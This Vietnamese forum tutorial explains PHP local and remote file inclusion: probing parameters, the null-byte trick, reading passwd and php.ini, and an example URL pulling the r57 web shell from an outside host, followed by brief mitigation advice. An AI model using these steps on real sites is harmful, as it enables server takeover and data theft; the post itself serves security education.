File Inclusion Attack

Kaito KID

VIP Members
02/07/2013
23
41 bài viết
File Inclusion Attack
I. File Inclusion
Trong lập trình PHP có các lệnh là include, require, include_once, require _ once cho phép việc file hiện tại gọi ra một file khác.
File Inclusion Attack: là kỹ thuật khai thác dựa trên lỗi include file trong PHP.
Dấu hiện để có thể tấn công FI là đường link thường có dạng php?page=,hoặc php?file=. Để biết website có bị lỗi này hay không ta chỉ việc thêm một dấu ‘ vào đường link, cụ thể php?page=’. Và trên trình duyệt có thông báo dạng:
Warning: Warning: include() [function.include]: Failed opening ''' for inclusion (include_path='.;C:\php5\pear') in C:\wamp\www\FI.php on line 40

Nguyên nhân gây ra lỗi này là khi sử dụng các lệnh trên, lập trình viên lại gọi các file cần mở thông qua biến. Các biến này hoặc chưa được khởi tạo, hoặc do người dùng quyết định.
Ví dụ đơn giản: Xét 1 website:
1490892915x1.jpg


Việc gọi ra file nào trong lệnh include phụ thuộc vào giá trị lựa chọn của người dùng.


Với ví dụ về trên, trong hàm include đã mặc định file được gọi ra là file có dạng ‘.php’ . Khi đó có một thủ thuật nhỏ để vẫn gọi được các file có kiểu khác đó là chèn thêm NULL BYTE (%00) vào cuối tên file mình cần chèn vào. Cụ thể :
Từ đường dẫn gốc là: http://localhost/FI.php?COLOR=red ta thay thế thành: http://localhost/FI.php?COLOR=Test.txt. Khi đó code của đoạn lệnh include sẽ là: include(‘Test.txt%00.php’). Giá trị NULL là kết thúc một xâu nên hàm include chỉ xác định tên file cần mở là ‘Test.txt’.
File Inclusion được chia thành hai loại: Local File Inclusion và Remote File Inclusion.
1. Local File Inclusion(LFI)
LFI là kỹ thuật đọc một file trong hệ thống, nếu khai thác được lỗi này, hacker có thể xem được rất nhiều thông tin của server như các file: passwd, php.ini, access_log,… (biết được các thông tin nhạy cảm) tùy theo mức độ bảo mật của server.
Lỗi LFI thường đi kèm với lỗi về Upload. Kẻ tấn công upload một file có chứa mã php lên server mà không cần thiết file đó phải có kiểu là .php. Sau đó sử dụng LFI này để đọc ra nội dụng file đã upload lên. Khi server đọc các file này, gặp mã php sẽ thực thi các mã này và như thế là thực hiện ý đồ của hacker.
Ví dụ minh họa: Hacker up lên ser ver một file Test.txt có chứa mã php đơn giản như hình dưới:
1490892915x2.jpg


Sử dụng lỗi LFI để gọi ra file Test.txt này. Ta có kết quả :
1490892915x3.jpg


2. Remote File Inclusion (RFI)
Điều kiện để khai thác theo kiểu Remote File Inclusion là: Các biến register_globals, allow_url_include và allow_url_fopen trong file PHP.ini của Apache Server phải bật ON.

RFI là kỹ thuật chèn vào hệ thống một file bất kỳ nào đó. Kẻ tấn công sẽ mở ra một file có chứa shell và khi hệ thống chạy file đó thì sẽ thực hiện ý đồ của hacker.
Ví dụ minh họa cho kiểu tấn công RFI:
Với trang: http://localhost/File Inclusion/Demo/?COLOR=red là trang chưa bị tấn công.
1490892915x4.jpg


Phát hiện lỗi bằng cách thêm dấu ‘ vào cuối đường dẫn. Thì trình duyệt báo lỗi:
1490892915x5.jpg


1490892915x6.jpg


Hacker chèn vào đường dẫn một đường link dẫn tới file r57.txt có chứa shell thì kết quả sẽ như hình trên. Tức là ta có toàn bộ thông tin quan trọng về server. Đường link: http://localhost/File Inclusion/Demo/?COLOR=http://www.gloi.org/tmp/r57.txt
Chú ý một điểm là: Khác với kiểu tấn công LFI, kẻ tấn công muốn thực hiện đoạn shell của mình thì phải gọi tới một file có dạng text chứ không là file php được. Vì khi sử dụng file php, trình duyệt của victim khi gọi ra file này sẽ đóng vai trò là một client, ứng với server sẽ là server đang chứa file gọi đến. Do đó các mã php trong file khi thực thi ở máy victim sẽ là html, dẫn đến ý đồ không thực hiện được.

II. Cách khắc phục
Hạn chế dùng các biến trong các hàm (include và require), nếu đã dùng nên đảm bảo các biến đó đã được khai báo đầy đủ và chính xác. Nếu bạn vẫn thích dùng biến thay thế cho đường dẫn thì tại sao bạn không dùng hàm define() nhỉ? Hàm này không cho phép user khai báo từ bên ngoài, hoặc bạn có thể dùng các kí tự đại diện cho các cấp thư mục như: “./” (thư mục hiện hành), “../” (thư mục cấp trên).
Hạn chế việc khai báo biến phụ thuộc vào nguời dùng cuối. Nên khai báo trực tiếp biến đó.
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Bên trên